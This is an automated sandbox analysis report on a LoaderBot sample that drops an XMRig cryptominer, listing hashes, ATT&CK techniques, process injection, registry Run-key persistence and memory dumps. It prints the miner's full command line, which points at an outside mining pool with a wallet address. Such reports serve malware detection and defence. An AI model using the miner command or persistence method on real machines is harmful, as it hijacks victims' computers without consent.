loaderbot | e88dc2a26b632c34188248f90b1a9f222d3da628839271d989be8fec039fb714

Analysis

max time kernel
24s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
25-12-2023 09:08

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General

Target

13f091c04b02de894b2b68404b101f5e.exe
Size

2.1MB
MD5

13f091c04b02de894b2b68404b101f5e
SHA1

77be502649288dc78adfd4d887afd8c2f2e06fae
SHA256

e88dc2a26b632c34188248f90b1a9f222d3da628839271d989be8fec039fb714
SHA512

a115fed08b8f87c0d2dbf93a12c187c2d58ae5c54753ab7e9e82473cb5e2486bd6a435940ec38148a776436e26e52a9c71ee4f3e4aba6ae1c508488483f192cf
SSDEEP

49152:3LeFWZXUM2OSAUhB0ETI++BrpMLdDQXWb+FPWRlW:/UM2DD5IhBrpCFQXk+FPWjW

Score

10^/10

loaderbot xmrig loader miner persistence

Malware Config

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

LoaderBot executable 1 IoCs

resource	yara_rule
behavioral2/memory/4488-8-0x0000000000400000-0x00000000007FE000-memory.dmp	loaderbot

XMRig Miner payload 14 IoCs

miner

resource	yara_rule
behavioral2/memory/4388-29-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/4428-33-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/4428-34-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/4428-40-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/4428-42-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/4428-43-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/4428-47-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/4428-49-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/4428-50-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/4428-51-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/4428-52-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/4428-53-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/4428-54-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/4428-55-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	13f091c04b02de894b2b68404b101f5e.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	13f091c04b02de894b2b68404b101f5e.exe

Executes dropped EXE 2 IoCs

pid	Process
4388	Driver.exe
4428	Driver.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\13f091c04b02de894b2b68404b101f5e.exe"	13f091c04b02de894b2b68404b101f5e.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2588 set thread context of 4488	2588	13f091c04b02de894b2b68404b101f5e.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4488	13f091c04b02de894b2b68404b101f5e.exe
4488	13f091c04b02de894b2b68404b101f5e.exe
4488	13f091c04b02de894b2b68404b101f5e.exe
4488	13f091c04b02de894b2b68404b101f5e.exe
4488	13f091c04b02de894b2b68404b101f5e.exe
4488	13f091c04b02de894b2b68404b101f5e.exe
4488	13f091c04b02de894b2b68404b101f5e.exe
4488	13f091c04b02de894b2b68404b101f5e.exe
4488	13f091c04b02de894b2b68404b101f5e.exe
4488	13f091c04b02de894b2b68404b101f5e.exe
4488	13f091c04b02de894b2b68404b101f5e.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4488	13f091c04b02de894b2b68404b101f5e.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2588	13f091c04b02de894b2b68404b101f5e.exe
Token: SeDebugPrivilege	4488	13f091c04b02de894b2b68404b101f5e.exe
Token: SeLockMemoryPrivilege	4388	Driver.exe
Token: SeLockMemoryPrivilege	4388	Driver.exe
Token: SeLockMemoryPrivilege	4428	Driver.exe
Token: SeLockMemoryPrivilege	4428	Driver.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2588 wrote to memory of 3056	2588	13f091c04b02de894b2b68404b101f5e.exe	102
PID 2588 wrote to memory of 3056	2588	13f091c04b02de894b2b68404b101f5e.exe	102
PID 2588 wrote to memory of 3056	2588	13f091c04b02de894b2b68404b101f5e.exe	102
PID 2588 wrote to memory of 4488	2588	13f091c04b02de894b2b68404b101f5e.exe	101
PID 2588 wrote to memory of 4488	2588	13f091c04b02de894b2b68404b101f5e.exe	101
PID 2588 wrote to memory of 4488	2588	13f091c04b02de894b2b68404b101f5e.exe	101
PID 2588 wrote to memory of 4488	2588	13f091c04b02de894b2b68404b101f5e.exe	101
PID 2588 wrote to memory of 4488	2588	13f091c04b02de894b2b68404b101f5e.exe	101
PID 2588 wrote to memory of 4488	2588	13f091c04b02de894b2b68404b101f5e.exe	101
PID 2588 wrote to memory of 4488	2588	13f091c04b02de894b2b68404b101f5e.exe	101
PID 2588 wrote to memory of 4488	2588	13f091c04b02de894b2b68404b101f5e.exe	101
PID 4488 wrote to memory of 4388	4488	13f091c04b02de894b2b68404b101f5e.exe	103
PID 4488 wrote to memory of 4388	4488	13f091c04b02de894b2b68404b101f5e.exe	103
PID 4488 wrote to memory of 4428	4488	13f091c04b02de894b2b68404b101f5e.exe	109
PID 4488 wrote to memory of 4428	4488	13f091c04b02de894b2b68404b101f5e.exe	109

C:\Users\Admin\AppData\Local\Temp\13f091c04b02de894b2b68404b101f5e.exe
"C:\Users\Admin\AppData\Local\Temp\13f091c04b02de894b2b68404b101f5e.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2588
- C:\Users\Admin\AppData\Local\Temp\13f091c04b02de894b2b68404b101f5e.exe
  C:\Users\Admin\AppData\Local\Temp\13f091c04b02de894b2b68404b101f5e.exe
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: RenamesItself
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4488
- - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 49ciCfWrkhQWz6LYXux4LV1P5eAFMfox1H2y3k6VSn7Jb39nDYDUiC6JFCUBDDf63GQqpKc5ZQQ8vCHwgzesAKHtJwB9o2i -p x -k -v=0 --donate-level=1 -t 4
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4388
- - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 49ciCfWrkhQWz6LYXux4LV1P5eAFMfox1H2y3k6VSn7Jb39nDYDUiC6JFCUBDDf63GQqpKc5ZQQ8vCHwgzesAKHtJwB9o2i -p x -k -v=0 --donate-level=1 -t 4
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4428
- C:\Users\Admin\AppData\Local\Temp\13f091c04b02de894b2b68404b101f5e.exe
  C:\Users\Admin\AppData\Local\Temp\13f091c04b02de894b2b68404b101f5e.exe
  2⤵
  PID:3056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2588-0-0x0000000000740000-0x0000000000954000-memory.dmp

Filesize
2.1MB

Download
memory/2588-3-0x0000000002D70000-0x0000000002D71000-memory.dmp

Filesize
4KB

Download
memory/2588-2-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

Filesize
64KB

Download
memory/2588-5-0x0000000005400000-0x0000000005476000-memory.dmp

Filesize
472KB

Download
memory/2588-4-0x0000000005350000-0x0000000005370000-memory.dmp

Filesize
128KB

Download
memory/2588-6-0x00000000053E0000-0x00000000053FE000-memory.dmp

Filesize
120KB

Download
memory/2588-1-0x0000000075180000-0x0000000075930000-memory.dmp

Filesize
7.7MB

Download
memory/2588-11-0x0000000075180000-0x0000000075930000-memory.dmp

Filesize
7.7MB

Download
memory/4388-28-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4388-29-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4388-27-0x0000000000440000-0x0000000000454000-memory.dmp

Filesize
80KB

Download
memory/4428-36-0x0000000002000000-0x0000000002020000-memory.dmp

Filesize
128KB

Download
memory/4428-40-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4428-55-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4428-54-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4428-32-0x0000000001FE0000-0x0000000002000000-memory.dmp

Filesize
128KB

Download
memory/4428-33-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4428-53-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4428-34-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4428-52-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4428-51-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4428-39-0x00000000134C0000-0x00000000134E0000-memory.dmp

Filesize
128KB

Download
memory/4428-38-0x0000000013190000-0x00000000131B0000-memory.dmp

Filesize
128KB

Download
memory/4428-41-0x00000000137F0000-0x0000000013810000-memory.dmp

Filesize
128KB

Download
memory/4428-50-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4428-42-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4428-43-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4428-44-0x0000000002000000-0x0000000002020000-memory.dmp

Filesize
128KB

Download
memory/4428-45-0x0000000013190000-0x00000000131B0000-memory.dmp

Filesize
128KB

Download
memory/4428-46-0x00000000134C0000-0x00000000134E0000-memory.dmp

Filesize
128KB

Download
memory/4428-48-0x00000000137F0000-0x0000000013810000-memory.dmp

Filesize
128KB

Download
memory/4428-47-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4428-49-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4488-16-0x0000000005800000-0x0000000005810000-memory.dmp

Filesize
64KB

Download
memory/4488-37-0x0000000005800000-0x0000000005810000-memory.dmp

Filesize
64KB

Download
memory/4488-13-0x0000000075180000-0x0000000075930000-memory.dmp

Filesize
7.7MB

Download
memory/4488-35-0x0000000075180000-0x0000000075930000-memory.dmp

Filesize
7.7MB

Download
memory/4488-8-0x0000000000400000-0x00000000007FE000-memory.dmp

Filesize
4.0MB

Download
memory/4488-15-0x0000000005A10000-0x0000000005A76000-memory.dmp

Filesize
408KB

Download